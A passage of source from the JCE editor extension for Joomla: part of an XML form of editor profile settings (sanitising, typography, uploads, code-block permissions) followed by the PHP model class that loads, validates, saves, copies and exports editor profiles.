                <option value="relative">WF_OPTION_RELATIVE</option>
                <option value="absolute">WF_OPTION_ABSOLUTE</option>
            </field>
            <field name="verify_html" type="list" default="" label="WF_PARAM_CLEANUP" description="WF_PARAM_EDITOR_PROFILE_CLEANUP_DESC" class="btn-group btn-group-yesno">
                <option value="">WF_OPTION_INHERIT</option>
                <option value="0">JNO</option>
                <option value="1">JYES</option>
            </field>
            <field name="sanitize_html" type="radio" default="1" label="WF_PARAM_SANITIZE_HTML" description="WF_PARAM_EDITOR_PROFILE_SANITIZE_HTML_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="schema" type="list" default="" label="WF_PARAM_DOCTYPE" description="WF_PARAM_EDITOR_PROFILE_DOCTYPE_DESC">
                <option value="">WF_OPTION_INHERIT</option>
                <option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
                <option value="html4">HTML4</option>
                <option value="html5">HTML5</option>
            </field>
        </fieldset>
        <fieldset name="editor.typography">
            <field name="forced_root_block" type="list" default="" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_EDITOR_PROFILE_ROOT_BLOCK_DESC">
                <option value="">WF_OPTION_INHERIT</option>
                
                <option value="p">WF_OPTION_PARAGRAPH</option>
                <option value="div">WF_OPTION_DIV</option>
                <option value="forced_root_block:p|force_block_newlines:0">WF_OPTION_PARAGRAPH_LINEBREAK</option>
                <option value="forced_root_block:div|force_block_newlines:0">WF_OPTION_DIV_LINEBREAK</option>
                <option value="forced_root_block:0|force_block_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
                <option value="0">WF_OPTION_LINEBREAK</option>
            </field>

            <field name="profile_content_css" type="list" default="2" label="WF_PARAM_EDITOR_PROFILE_CSS" description="WF_PARAM_EDITOR_PROFILE_CSS_DESC">
                <option value="0">WF_PARAM_CSS_ADD</option>
                <option value="1">WF_PARAM_CSS_OVERWRITE</option>
                <option value="2">WF_PARAM_CSS_INHERIT</option>
            </field>

            <field name="profile_content_css_custom" type="repeatable" default="" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" showon="profile_content_css:0[OR]profile_content_css:1">
                <field type="text" size="50" hiddenLabel="true" hint="eg: templates/$template/css/content.css" />
            </field>

            <field name="custom_css" type="repeatable" default="" label="WF_PARAM_EDITOR_CUSTOM_CSS" description="WF_PARAM_EDITOR_CUSTOM_CSS_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>
            
            <field name="custom_colors" type="textarea" rows="3" cols="50" default="" label="WF_PARAM_CUSTOM_COLORS" description="WF_PARAM_CUSTOM_COLORS_DESC" placeholder="eg: #CC0000,#FF0000" />
        </fieldset>
        <fieldset name="editor.filesystem">
            <field name="dir" type="filesystempath" default="" size="50" placeholder="images" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC" />

            <field name="dir_filter" type="repeatable" default="" label="WF_PARAM_DIRECTORY_FILTER" description="WF_PARAM_DIRECTORY_FILTER_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="filesystem" type="filesystem" default="joomla" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC" />

            <field name="max_size" class="input-small" hint="1024" max="" type="uploadmaxsize" step="128" default="" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" />

            <field name="upload_conflict" type="list" default="overwrite" label="WF_PARAM_UPLOAD_EXISTS" description="WF_PARAM_UPLOAD_EXISTS_DESC">
                <option value="unique">WF_PARAM_UPLOAD_EXISTS_UNIQUE</option>
                <option value="overwrite">WF_PARAM_UPLOAD_EXISTS_OVERWRITE</option>
            </field>

            <field name="upload_suffix" placeholder="_copy" type="text" default="" label="WF_PARAM_UPLOAD_SUFFIX" description="WF_PARAM_UPLOAD_SUFFIX_DESC" />

            <field name="browser_position" type="list" default="bottom" label="WF_PARAM_BROWSER_POSITION" description="WF_PARAM_BROWSER_POSITION_DESC">
                <option value="top">WF_LABEL_TOP</option>
                <option value="bottom">WF_LABEL_BOTTOM</option>
            </field>

            <field name="folder_tree" type="yesno" default="1" label="WF_PARAM_FOLDER_TREE" description="WF_PARAM_FOLDER_TREE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="list_limit" type="list" default="all" label="WF_PARAM_LIST_LIMIT" description="WF_PARAM_LIST_LIMIT_DESC">
                <option value="10">10</option>
                <option value="25">25</option>
                <option value="50">50</option>
                <option value="100">100</option>
                <option value="all">WF_OPTION_ALL</option>
            </field>
            <field name="validate_mimetype" type="yesno" default="1" label="WF_PARAM_VALIDATE_MIMETYPE" description="WF_PARAM_VALIDATE_MIMETYPE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="websafe_mode" type="list" default="utf-8" label="WF_PARAM_WEBSAFE_MODE" description="WF_PARAM_WEBSAFE_MODE_DESC">
                <option value="utf-8">UTF-8</option>
                <option value="ascii">ASCII</option>
            </field>
            <field name="websafe_allow_spaces" type="list" default="_" label="WF_PARAM_WEBSAFE_ALLOW_SPACES" description="WF_PARAM_WEBSAFE_ALLOW_SPACES_DESC">
                <option value="1">JYES</option>
                <option value="_">WF_OPTION_WEBSAFE_ALLOW_SPACES_UNDERSCORE</option>
                <option value="-">WF_OPTION_WEBSAFE_ALLOW_SPACES_DASH</option>
                <option value=".">WF_OPTION_WEBSAFE_ALLOW_SPACES_PERIOD</option>
            </field>
            <field name="websafe_textcase" type="checkboxes" multiple="multiple" default="uppercase,lowercase" label="WF_PARAM_WEBSAFE_TEXTCASE" description="WF_PARAM_WEBSAFE_TEXTCASE_DESC">
                <option value="uppercase">WF_OPTION_UPPERCASE</option>
                <option value="lowercase">WF_OPTION_LOWERCASE</option>
            </field>
            <field name="upload_add_random" type="yesno" default="0" label="WF_PARAM_UPLOAD_ADD_RANDOM" description="WF_PARAM_UPLOAD_ADD_RANDOM_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            <field name="date_format" type="text" default="" hint="eg: %d/%m/%Y, %H:%M" label="WF_PARAM_DATE_FORMAT" description="WF_PARAM_DATE_FORMAT_DESC" />
            <field name="total_files" type="number" default="" class="input-small" step="1" label="WF_PARAM_TOTAL_FILES_LIMIT" description="WF_PARAM_TOTAL_FILES_LIMIT_DESC" />
            <field name="total_size" type="number" default="" class="input-small" step="1" label="WF_PARAM_TOTAL_FILES_SIZE_LIMIT" description="WF_PARAM_TOTAL_FILES_SIZE_LIMIT_DESC" />
        </fieldset>
        <fieldset name="editor.advanced">
            <field type="container" label="WF_PARAM_STARTUP_CONTENT" description="WF_PARAM_STARTUP_CONTENT_DESC">
				<field type="mediajce" name="startup_content_url" size="30" mediatype="html,htm,txt,md" default="" label="WF_PARAM_STARTUP_CONTENT_URL" description="WF_PARAM_STARTUP_CONTENT_URL_DESC" />

				<field type="spacer" label="WF_LABEL_OR" />

				<field type="code" name="startup_content_html" filter="JComponentHelper::filterText" rows="4" cols="3" class="input-xlarge" default="" label="WF_PARAM_STARTUP_CONTENT_HTML" spellcheck="false" description="WF_PARAM_STARTUP_CONTENT_HTML_DESC" />
            </field>

            <field type="spacer" />
            
            <field name="invalid_elements" type="repeatable" default="" label="WF_PARAM_NO_ELEMENTS" description="WF_PARAM_NO_ELEMENTS_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="invalid_attributes" type="repeatable" default="" label="WF_PARAM_INVALID_ATTRIBUTES" description="WF_PARAM_INVALID_ATTRIBUTES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>
            
            <field name="invalid_attribute_values" type="repeatable" default="" label="WF_PARAM_INVALID_ATTRIBUTE_VALUES" description="WF_PARAM_INVALID_ATTRIBUTE_VALUES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>
            
            <field name="extended_elements" type="repeatable" default="" label="WF_PARAM_ELEMENTS" description="WF_PARAM_ELEMENTS_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="validate_styles" type="yesno" default="1" label="WF_PARAM_VALIDATE_STYLES" description="WF_PARAM_VALIDATE_STYLES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="container" class="inset" label="WF_PARAM_CODE_BLOCKS" description="WF_PARAM_CODE_BLOCKS_DESC_WARNING" descriptionclass="alert alert-error">

                <field name="code_blocks" type="yesno" default="1" label="WF_PARAM_CODE_BLOCKS_ENABLE" description="WF_PARAM_CODE_BLOCKS_ENABLE_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
                
                <field name="allow_javascript" type="yesno" default="0" label="WF_PARAM_JAVASCRIPT" description="WF_PARAM_JAVASCRIPT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="allow_css" type="yesno" default="0" label="WF_PARAM_CSS" description="WF_PARAM_CSS_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="allow_php" type="yesno" default="0" label="WF_PARAM_PHP" description="WF_PARAM_PHP_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="allow_custom_xml" type="yesno" default="0" label="WF_PARAM_ALLOW_CUSTOM_XML" description="WF_PARAM_ALLOW_CUSTOM_XML_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </field>

            <field name="protect_shortcode" type="yesno" default="0" label="WF_PARAM_PROTECT_SHORTCODE" description="WF_PARAM_PROTECT_SHORTCODE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="allow_event_attributes" type="yesno" default="0" label="WF_PARAM_ALLOW_EVENT_ATTRIBUTES" description="WF_PARAM_ALLOW_EVENT_ATTRIBUTES_DESC" showon="allow_javascript:0">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

             <field name="object_resizing" type="yesno" default="1" label="WF_PARAM_OBJECT_RESIZING" description="WF_PARAM_OBJECT_RESIZING_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="spacer" hr="true" />

            <field type="container" showon="wordcount:1" label="WF_PARAM_EDITOR_WORDCOUNT" description="">

                <field name="wordcount_limit" type="number" default="0" hint="0" label="WF_PARAM_WORDCOUNT_LIMIT" description="WF_PARAM_WORDCOUNT_LIMIT_DESC" class="input-small" />
                <field name="wordcount_alert" type="yesno" default="0" label="WF_PARAM_WORDCOUNT_ALERT" description="WF_PARAM_WORDCOUNT_ALERT_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

            </field>

            <field type="spacer" hr="true" />
           
            <field type="container" label="WF_NONEDITABLE_TITLE" description="WF_NONEDITABLE_DESC">

                <field name="noneditable_class" type="text" default="" hint="mceNonEditable" label="WF_NONEDITABLE_NONEDITABLE_CLASS" description="WF_NONEDITABLE_NONEDITABLE_CLASS_DESC" />
			    <field name="editable_class" type="text" default="" hint="mceEditable" label="WF_NONEDITABLE_EDITABLE_CLASS" description="WF_NONEDITABLE_EDITABLE_CLASS_DESC" />

            </field>

            <!--field name="figure_tag_style" type="yesno" default="1" label="WF_PARAM_FIGURE_TAG_STYLE" description="WF_PARAM_FIGURE_TAG_STYLE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field-->
        </fieldset>
    </fields>
</form>com_jce/models/profile.php000060400000073651152455305310011612 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\AdminModel;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Table\Table;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Event\DispatcherAwareInterface;

require JPATH_SITE . '/components/com_jce/editor/libraries/classes/editor.php';

require JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';
require JPATH_ADMINISTRATOR . '/components/com_jce/helpers/profiles.php';

/**
 * Item Model for a Profile.
 *
 * @since       1.6
 */
class JceModelProfile extends AdminModel
{
    /**
     * The type alias for this content type.
     *
     * @var string
     *
     * @since  3.2
     */
    public $typeAlias = 'com_jce.profile';

    /**
     * The prefix to use with controller messages.
     *
     * @var string
     *
     * @since  1.6
     */
    protected $text_prefix = 'COM_JCE';

    public function __construct($config = array())
    {
        if ($this instanceof DispatcherAwareInterface) {
            $this->setDispatcher(Factory::getApplication()->getDispatcher());
        }

        parent::__construct($config);
    }

    /**
     * Returns a Table object, always creating it.
     *
     * @param type   $type   The table type to instantiate
     * @param string $prefix A prefix for the table class name. Optional
     * @param array  $config Configuration array for model. Optional
     *
     * @return JTable A database object
     *
     * @since   1.6
     */
    public function getTable($type = 'Profiles', $prefix = 'JceTable', $config = array())
    {
        return Table::getInstance($type, $prefix, $config);
    }

    /* Override to prevent plugins from processing form data */
    protected function preprocessData($context, &$data, $group = 'system')
    {
        if (!isset($data->config)) {
            return;
        }

        $config = $data->config;

        if (is_string($config)) {
            $config = json_decode($config, true);
        }

        if (empty($config)) {
            return;
        }

        // editor parameters
        if (isset($config['editor'])) {
            if (!empty($config['editor']['toolbar_theme']) && $config['editor']['toolbar_theme'] === 'mobile') {
                $config['editor']['toolbar_theme'] = 'default.touch';
            }

            if (isset($config['editor']['relative_urls']) && !isset($config['editor']['convert_urls'])) {
                $config['editor']['convert_urls'] = $config['editor']['relative_urls'] == 0 ? 'absolute' : 'relative';
            }
        }

        // decode config values for display
        array_walk_recursive($config, function (&$value) {
            $value = htmlspecialchars_decode($value);
        });

        $data->config = $config;
    }

    /**
     * Method to allow derived classes to preprocess the form.
     *
     * @param JForm  $form  A JForm object
     * @param mixed  $data  The data expected for the form
     * @param string $group The name of the plugin group to import (defaults to "content")
     *
     * @see     JFormField
     * @since   1.6
     *
     * @throws Exception if there is an error in the form event
     */
    protected function preprocessForm(Form $form, $data, $group = 'content')
    {
        if (!empty($data)) {
            $registry = new Registry($data->config);

            // process individual fields to remove default value if required
            $fields = $form->getFieldset();

            foreach ($fields as $field) {
                $name = $field->getAttribute('name');

                // get the field group and add the field name
                $group = (string) $field->group;

                // must be a grouped parameter, eg: editor, imgmanager etc.
                if (!$group) {
                    continue;
                }

                // create key from group and name
                $group = $group . '.' . $name;

                // explode group to array
                $parts = explode('.', $group);

                // remove "config" from group name so it matches params data object
                if ($parts[0] === "config") {
                    array_shift($parts);
                    $group = implode('.', $parts);
                }

                // reset the "default" attribute value if a value is set
                if ($registry->exists($group)) {
                    $form->setFieldAttribute($name, 'default', '', (string) $field->group);
                }
            }
        }

        if ($form->getName() == 'com_jce.profile') {
            // editor manifest
            $manifest = __DIR__ . '/forms/editor.xml';

            // load editor manifest
            if (is_file($manifest)) {
                if ($editor_xml = simplexml_load_file($manifest)) {
                    $form->setField($editor_xml, 'config');
                }
            }
        }

        // Allow for additional modification of the form, and events to be triggered.
        // We pass the data because plugins may require it.
        parent::preprocessForm($form, $data);

        // Load the data into the form after the plugins have operated.
        $form->bind($data);
    }

    public function getForm($data = array(), $loadData = true)
    {
        if ($this instanceof DispatcherAwareInterface) {
            $this->setDispatcher(Factory::getApplication()->getDispatcher());
        }

        FormHelper::addFieldPath('JPATH_ADMINISTRATOR/components/com_jce/models/fields');

        // Get the setup form.
        return $this->loadForm('com_jce.profile', 'profile', array('control' => 'jform', 'load_data' => true));
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return mixed The data for the form
     *
     * @since   1.6
     */
    protected function loadFormData()
    {
        $data = $this->getItem();

        // convert 0 value to null to force defaults
        if (empty($data->area)) {
            $data->area = null;
        }

        // convert to array if set
        if (!empty($data->device)) {
            $data->device = explode(',', $data->device);
        }

        if (!empty($data->components)) {
            $data->components = explode(',', $data->components);
            $data->components_select = 1;
        }

        if (!empty($data->types)) {
            $data->types = explode(',', $data->types);
        }

        $data->config = $data->params;

        $this->preprocessData('com_jce.profiles', $data);

        return $data;
    }

    public function getRows()
    {
        $data = $this->getItem();

        $array = array();
        $rows = empty($data->rows) ? array() : explode(';', $data->rows);

        $plugins = $this->getButtons();

        $i = 1;

        foreach ($rows as $row) {
            $groups = array();
            // remove spacers
            $row = str_replace(array('|', 'spacer'), '', $row);

            foreach (explode('spacer', $row) as $group) {
                // get items in group
                $items = explode(',', $group);
                $buttons = array();

                // remove duplicates
                $items = array_unique($items);

                foreach ($items as $x => $item) {
                    if ($item === 'spacer') {
                        unset($items[$x]);
                        continue;
                    }

                    // not in the list...
                    if (empty($item) || array_key_exists($item, $plugins) === false) {
                        continue;
                    }

                    // must be assigned...
                    if (!$plugins[$item]->active) {
                        continue;
                    }

                    // assign icon
                    $buttons[] = $plugins[$item];
                }

                $groups[] = $buttons;
            }

            $array[$i] = $groups;

            ++$i;
        }

        // allow for empty toolbar row when creating a new profile
        if (empty($array)) {
            $array[$i] = array();
        }

        return $array;
    }

    /**
     * An array of buttons not in the current editor layout.
     *
     * @return array
     */
    public function getAvailableButtons()
    {
        $plugins = $this->getButtons();

        $available = array_filter($plugins, function ($plugin) {
            return !$plugin->active;
        });

        return $available;
    }

    public function getAdditionalPlugins()
    {
        $plugins = $this->getButtons();

        $additional = array_filter($plugins, function ($plugin) {
            return $plugin->editable && !$plugin->row;
        });

        return $additional;
    }

    public function getButtons()
    {
        $commands = $this->getCommands();
        $plugins = $this->getPlugins();

        return array_merge($commands, $plugins);
    }

    public function getCommands()
    {
        static $commands;

        if (empty($commands)) {
            $data = $this->getItem();
            $rows = empty($data->rows) ? array() : preg_split('#[;,]#', $data->rows);

            $commands = array();

            foreach (JcePluginsHelper::getCommands() as $name => $command) {
                // set as active
                $command->active = in_array($name, $rows);
                $command->icon = explode(',', $command->icon);

                // set default empty value
                $command->image = '';

                // ui class, default is blank
                if (empty($command->class)) {
                    $command->class = '';
                }

                // cast row to integer
                $command->row = (int) $command->row;

                // cast editable to integer
                $command->editable = (int) $command->editable;

                // translate title
                $command->title = Text::_($command->title);

                // translate description
                $command->description = Text::_($command->description);

                $command->name = $name;

                $commands[$name] = $command;
            }
        }

        // merge plugins and commands
        return $commands;
    }

    public function getPlugins()
    {
        static $plugins;

        if (empty($plugins)) {
            $plugins = array();

            $data = $this->loadFormData();

            // array or profile plugin items
            $rows = empty($data->plugins) ? array() : explode(',', $data->plugins);

            // remove duplicates
            $rows = array_unique($rows);

            $extensions = JcePluginsHelper::getExtensions();

            // only need plugins with xml files
            foreach (JcePluginsHelper::getPlugins() as $name => $plugin) {
                $plugin->icon = empty($plugin->icon) ? array() : explode(',', $plugin->icon);

                // set as active if it is in the profile
                $plugin->active = in_array($plugin->name, $rows);

                // ui class, default is blank
                if (empty($plugin->class)) {
                    $plugin->class = '';
                }

                $plugin->class = preg_replace_callback('#\b([a-z0-9]+)-([a-z0-9]+)\b#', function ($matches) {
                    return 'mce' . ucfirst($matches[1]) . ucfirst($matches[2]);
                }, $plugin->class);

                // translate title
                $plugin->title = Text::_($plugin->title);

                // translate description
                $plugin->description = Text::_($plugin->description);

                // cast row to integer
                $plugin->row = (int) $plugin->row;

                // cast editable to integer
                $plugin->editable = (int) $plugin->editable;

                // plugin extensions
                $plugin->extensions = array();

                if (is_file($plugin->manifest)) {
                    $plugin->form = $this->loadForm('com_jce.profile.' . $plugin->name, $plugin->manifest, array('control' => 'jform[config]', 'load_data' => true), true, '//extension');
                    $plugin->formclass = 'options-grid-form options-grid-form-full';

                    $fieldsets = $plugin->form->getFieldsets();

                    // no parameter fields
                    if (empty($fieldsets)) {
                        $plugin->form = false;
                        $plugins[$name] = $plugin;
                        continue;
                    }

                    // bind data to the form
                    $plugin->form->bind($data->params);

                    foreach ($extensions as $type => $items) {

                        $item = new StdClass;
                        $item->name = '';
                        $item->title = '';
                        $item->manifest = WF_EDITOR_LIBRARIES . '/xml/config/' . $type . '.xml';
                        $item->context = '';

                        array_unshift($items, $item);

                        foreach ($items as $p) {
                            // check for plugin fieldset using xpath, as fieldset can be empty
                            $fieldset = $plugin->form->getXml()->xpath('(//fieldset[@name="plugin.' . $type . '"])');

                            // not supported, move along...
                            if (empty($fieldset)) {
                                continue;
                            }

                            $context = (string) $fieldset[0]->attributes()->context;

                            // check for a context, eg: images, web, video
                            if ($context && !in_array($p->context, explode(',', $context))) {
                                continue;
                            }

                            if (is_file($p->manifest)) {
                                $path = array($plugin->name, $type, $p->name);

                                // create new extension object
                                $extension = new StdClass;

                                // set extension name as the plugin name
                                $extension->name = $p->name;

                                // set extension title
                                $extension->title = $p->title;

                                // load form
                                $extension->form = $this->loadForm('com_jce.profile.' . implode('.', $path), $p->manifest, array('control' => 'jform[config][' . $plugin->name . '][' . $type . ']', 'load_data' => true), true, '//extension');
                                $extension->formclass = 'options-grid-form options-grid-form-full';

                                // get fieldsets if any
                                $fieldsets = $extension->form->getFieldsets();

                                foreach ($fieldsets as $fieldset) {
                                    // load form
                                    $plugin->extensions[$type][$p->name] = $extension;

                                    if (!isset($data->params[$plugin->name])) {
                                        continue;
                                    }

                                    if (!isset($data->params[$plugin->name][$type])) {
                                        continue;
                                    }

                                    // bind data to the form
                                    $extension->form->bind($data->params[$plugin->name][$type]);
                                }
                            }
                        }
                    }
                }

                // add to array
                $plugins[$name] = $plugin;
            }
        }

        return $plugins;
    }

    /**
     * Prepare and sanitise the table data prior to saving.
     *
     * @param JTable $table A reference to a JTable object
     *
     * @since   1.6
     */
    protected function prepareTable($table)
    {
        $filter = InputFilter::getInstance();

        foreach ($table->getProperties() as $key => $value) {
            switch ($key) {
                case 'name':
                case 'description':
                    $value = $filter->clean($value, 'STRING');
                    break;
                case 'device':
                    $value = $filter->clean($value, 'STRING');

                    if (is_array($value)) {
                        $value = implode(',', $value);
                    }
                    break;
                case 'area':
                    if (is_array($value)) {
                        // remove empty value
                        $value = array_filter($value, 'strlen');

                        // for simplicity, set multiple area selections as "0"
                        if (count($value) > 1) {
                            $value = 0;
                        } else {
                            $value = $value[0];
                        }
                    }

                    $value = $value;

                    break;
                case 'components':
                    $value = $filter->clean($value, 'STRING');

                    if (is_array($value)) {
                        $value = implode(',', $value);
                    }

                    break;
                case 'params':
                    break;
                case 'types':
                case 'users':

                    $value = $filter->clean($value, 'INT');

                    if (is_array($value)) {
                        $value = implode(',', $value);
                    }

                    break;
                case 'plugins':
                    $value = preg_replace('#[^\w_,]+#', '', $value);
                    break;
                case 'rows':
                    $value = preg_replace('#[^\w,;]+#', '', $value);
                    break;
                case 'params':
                    break;
            }

            $table->$key = $value;
        }

        if (empty($table->id)) {
            // Set ordering to the last item if not set
            if (empty($table->ordering)) {
                $db = $this->getDbo();
                $query = $db->getQuery(true)
                    ->select('MAX(ordering)')
                    ->from($db->quoteName('#__wf_profiles'));

                $db->setQuery($query);
                $max = $db->loadResult();

                $table->ordering = $max + 1;
            }
        }
    }

    public function validate($form, $data, $group = null)
    {
        $filter = InputFilter::getInstance();

        // get unfiltered config data
        $config = isset($data['config']) ? $data['config'] : array();

        // get layout rows and plugins data
        $rows = isset($data['rows']) ? $data['rows'] : '';
        $plugins = isset($data['plugins']) ? $data['plugins'] : '';

        // clean layout rows and plugins data
        $data['rows'] = $filter->clean($rows, 'STRING');
        $data['plugins'] = $filter->clean($plugins, 'STRING');

        // add back config data
        $data['params'] = json_encode($filter->clean($config, 'ARRAY'));

        if (empty($data['components']) || empty($data['components_select'])) {
            $data['components'] = '';
        }

        if (empty($data['users'])) {
            $data['users'] = '';
        }

        if (empty($data['types'])) {
            $data['types'] = '';
        }

        return $data;
    }

    private static function cleanParamData($data)
    {
        // clean up link plugin parameters
        array_walk($data, function (&$params, $plugin) {
            if ($plugin === "link") {
                if (isset($params['dir'])) {

                    if (!empty($params['dir']) && empty($params['direction'])) {
                        $params['direction'] = $params['dir'];
                    }

                    unset($params['dir']);
                }
            }

            if (is_array($params) && WFUtility::is_associative_array($params)) {
                array_walk($params, function (&$value, $key) {
                    if (is_string($value) && WFUtility::isJson($value)) {
                        $value = json_decode($value, true);
                    }
                });
            }
        });

        return $data;
    }

    /**
     * Recursively normalizes parameter structures:
     * - If a string looks like JSON ({...} or [...]) and decodes cleanly, decode it.
     * - If an array entry is a key/value pair and both are empty, drop it.
     * - Recurse into arrays and keep original scalar types.
     */
    private static function normalizeParams($node)
    {
        // 1) Strings: decode JSON-in-strings when safe
        if (is_string($node)) {
            $trim = ltrim($node);

            if ($trim !== '' && ($trim[0] === '{' || $trim[0] === '[')) {
                $decoded = json_decode($node, true);

                if (json_last_error() === JSON_ERROR_NONE) {
                    return self::normalizeParams($decoded);
                }
            }

            return $node;
        }

        // 2) Arrays: handle key/value pairs & recurse
        if (is_array($node)) {
            // Drop empty key/value pair objects
            if (array_key_exists('name', $node) && array_key_exists('value', $node)) {
                $name  = trim((string) ($node['name'] ?? ''));
                $value = $node['value'] ?? '';

                $valueIsEmpty =
                    (is_string($value) && trim($value) === '') ||
                    $value === null ||
                    (is_array($value) && $value === []);

                if ($name === '' && $valueIsEmpty) {
                    return null; // signal to remove
                }
            }

            $result = [];

            // Preserve numeric indexes for lists; associative for objects
            foreach ($node as $k => $v) {
                $normalized = self::normalizeParams($v);

                // Skip nulls returned from empty key/value pairs
                if ($normalized === null) {
                    continue;
                }

                $result[$k] = $normalized;
            }

            return $result;
        }

        // 3) Other scalars / objects: return as-is
        return $node;
    }

    /**
     * Method to save the form data.
     *
     * @param   array  The form data
     *
     * @return bool True on success
     *
     * @since    2.7
     */
    public function save($data)
    {
        $app = Factory::getApplication();

        // get profile table
        $table = $this->getTable();

        // Alter the title for save as copy
        if ($app->input->get('task') == 'save2copy') {

            // Alter the title
            $name = $data['name'];

            while ($table->load(array('name' => $name))) {
                if ($name == $table->name) {
                    $name = StringHelper::increment($name);
                }
            }

            $data['name'] = $name;
            $data['published'] = 0;
        }

        $key = $table->getKeyName();
        $pk = (!empty($data[$key])) ? $data[$key] : (int) $this->getState($this->getName() . '.id');

        if ($pk && $table->load($pk)) {
            if (empty($data['rows'])) {
                $data['rows'] = $table->rows;
            }

            if (empty($data['plugins'])) {
                $data['plugins'] = $table->plugins;
            }

            $json = array();
            $params = empty($table->params) ? '' : $table->params;

            // convert params to json data array
            $params = (array) json_decode($params, true);

            $plugins = isset($data['plugins']) ? $data['plugins'] : $table->plugins;

            // get plugins
            $items = explode(',', $plugins);

            // add "editor" for editor parameters
            $items[] = 'editor';

            // add "setup" for setup parameters (via plugins, eg: jcepro)
            $items[] = 'setup';

            if (is_string($data['params'])) {
                $data['params'] = json_decode($data['params'], true);
            }

            // make sure we have a value
            if (empty($data['params'])) {
                $data['params'] = array();
            }

            $data['params'] = self::cleanParamData($data['params']);

            // data for editor and plugins
            foreach ($items as $item) {
                // add config data
                if (array_key_exists($item, $data['params'])) {
                    $value = $data['params'][$item];

                    // normalize the value
                    $value = self::normalizeParams($value);
                    
                    // Add to json array for merging
                    $json[$item] = $value;
                }
            }

            // merge and encode as json string
            $data['params'] = json_encode(WFUtility::array_merge_recursive_distinct($params, $json));
        }

        // set a default value for validation
        if (empty($data['params'])) {
            $data['params'] = '{}';
        }

        if (parent::save($data)) {
            return true;
        }

        return false;
    }

    public function copy($ids)
    {
        // Check for request forgeries
        Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));
        $table = $this->getTable();

        foreach ($ids as $id) {
            if (!$table->load($id)) {
                $this->setError($table->getError());
            } else {
                $name = Text::sprintf('WF_PROFILES_COPY_OF', $table->name);
                $table->name = $name;
                $table->id = 0;
                $table->published = 0;
            }

            // Check the row.
            if (!$table->check()) {
                $this->setError($table->getError());

                return false;
            }

            // Store the row.
            if (!$table->store()) {
                $this->setError($table->getError());

                return false;
            }
        }

        return true;
    }

    public function export($ids)
    {
        $db = Factory::getDBO();

        $buffer = '<?xml version="1.0" encoding="utf-8" standalone="yes"?>';
        $buffer .= "\n" . '<export type="profiles">';
        $buffer .= "\n\t" . '<profiles>';

        $validFields = array('name', 'description', 'users', 'types', 'components', 'area', 'device', 'rows', 'plugins', 'published', 'ordering', 'params');

        foreach ($ids as $id) {
            $table = $this->getTable();

            if (!$table->load($id)) {
                continue;
            }

            $buffer .= "\n\t\t";
            $buffer .= '<profile>';

            $fields = $table->getProperties();

            foreach ($fields as $key => $value) {
                // only allow a subset of fields
                if (false == in_array($key, $validFields)) {
                    continue;
                }

                // set published to 0
                if ($key === "published") {
                    $value = 0;
                }

                if ($key == 'params') {
                    $buffer .= "\n\t\t\t" . '<' . $key . '><![CDATA[' . trim($value) . ']]></' . $key . '>';
                } else {
                    $buffer .= "\n\t\t\t" . '<' . $key . '>' . JceProfilesHelper::encodeData($value) . '</' . $key . '>';
                }
            }

            $buffer .= "\n\t\t</profile>";
        }

        $buffer .= "\n\t</profiles>";
        $buffer .= "\n</export>";

        // set_time_limit doesn't work in safe mode
        if (!ini_get('safe_mode')) {
            @set_time_limit(0);
        }

        $name = 'jce_editor_profile_' . date('Y_m_d') . '.xml';

        $app = Factory::getApplication();

        $app->allowCache(false);
        $app->setHeader('Content-Transfer-Encoding', 'binary');
        $app->setHeader('Content-Type', 'text/xml');
        $app->setHeader('Content-Disposition', 'attachment;filename="' . $name . '";');

        // set output content
        $app->setBody($buffer);

        // stream to client
        echo $app->toString();

        jexit();
    }

    /**
     * Process XML restore file.
     *
     * @param object $xml
     *
     * @return bool
     */
    public function import()
